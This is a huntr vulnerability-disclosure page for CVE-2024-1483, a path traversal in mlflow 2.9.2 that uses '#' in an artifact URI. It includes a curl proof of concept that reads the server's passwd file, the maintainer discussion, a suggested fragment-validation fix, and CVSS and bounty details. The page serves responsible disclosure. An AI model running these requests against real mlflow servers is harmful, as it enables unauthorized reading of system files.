

Path Traversal using local URI with # instead of ? in mlflow/mlflow

✓ Valid

Reported on Dec 18th 2023

Description

Possible to repeat <https://huntr.com/bounties/11209efb-0f84-482f-add0-587ea6b7e850/> with # instead of ? in 2.9.2

Proof of Concept

```
curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc", "artifact_location": "http://127.0.0.1:5000/model-versions/get-artifact?path=passwd&name=poc&version=1"}'
```

```
curl -X POST -H 'Content-Type: application/json' -d '{"experiment_id": "[EXP-ID]"}'
```

```
curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc"}' 'http://127.0.0.1:5000/model-versions/get-artifact?path=passwd&name=poc&version=1'
```

```
curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc", "run_id": "[RUN-ID]"}'
```

```
curl 'http://127.0.0.1:5000/model-versions/get-artifact?path=passwd&name=poc&version=1'
```

Impact

Same as <https://huntr.com/bounties/11209efb-0f84-482f-add0-587ea6b7e850/>

Occurrences

 handlers.py L592

Fragment also should be validated

⚙️ We are processing your report and will contact the **mlflow** team within 24 hours. 2 years ago

🔗 A **GitHub Issue** asking the maintainers to create a `SECURITY.md` exists 2 years ago



✎ **haxatron** modified the report 2 years ago



✎ **haxatron** modified the report 2 years ago

flow



A **mlflow/mlflow** maintainer has acknowledged this report 2 years ago



Harutaka Kawamura commented 2 years ago

Maintainer

Thanks for reporting. Any solution to prevent this attack?



haxatron commented 2 years ago

Researcher

You can use the same validation function to validate `parsed_artifact_location.fragment` (check that no `..` in `parsed_artifact_location.fragment`)



↑ **haxatron** submitted a patch 2 years ago



haxatron commented 2 years ago

Researcher

Hi @harupy, I have submitted a patch for both this and <https://huntr.com/bounties/dbdc6bd6-d09a-46f2-9d9c-5138a14b6e31/>.

The relevant part for this bug is the fragment and for the other one, is params

Let me know if you want me to open PR.



Marcello commented 2 years ago

Admin

Hey @Harutaka Kawamura,

Has this been fixed?

Cheers



✎ **Dan McInerney** modified the Severity from Critical (9.3) to High (7.5) 2 years ago



The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



Dan McInerney validated this vulnerability 2 years ago

Per NIST audits of our CVSS scores, adjusting CVSS to match NIST standard of 7.5 for LFI's.

\$ **haxatron** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

🔗 **CVE-2024-1483** assigned to this report. 2 years ago

✎ A huntr admin modified the scheduled publication date from Invalid date to 16th Apr 2024 2 years ago

⚠ We have sent a warning to the **mlflow** team to inform them that this report will be published in 48 hours 2 years ago

📡 This vulnerability has now been published 2 years ago

🔗 **CVE-2024-1483** has now been published 2 years ago

✉ We have notified the **mlflow/mlflow** maintainers about this report in their weekly follow-up a year ago



Ben Lewis commented a year ago

Can this vulnerability be closed? I see that it was fixed:
<https://github.com/mlflow/mlflow/pull/11473/files> <https://github.com/advisories/GHSA-f82r-jj5r-6g97>

[Sign in](#) to join this conversation

CVE
CVE-2024-1483
Published

Vulnerability Type
CWE-22: Path Traversal

Severity
High (7.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	None

AvailabilityNone

[Open in visual CVSS calculator](#)

Registry
Pypi

Affected Version
2.9.2

Visibility
Public

Status
Awaiting fix

Disclosure Bounty
\$750

Fix Bounty
\$187.5

Found by



haxatron
@haxatron
LIGHTWEIGHT
[G](#) [T](#) [h](#)

Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.

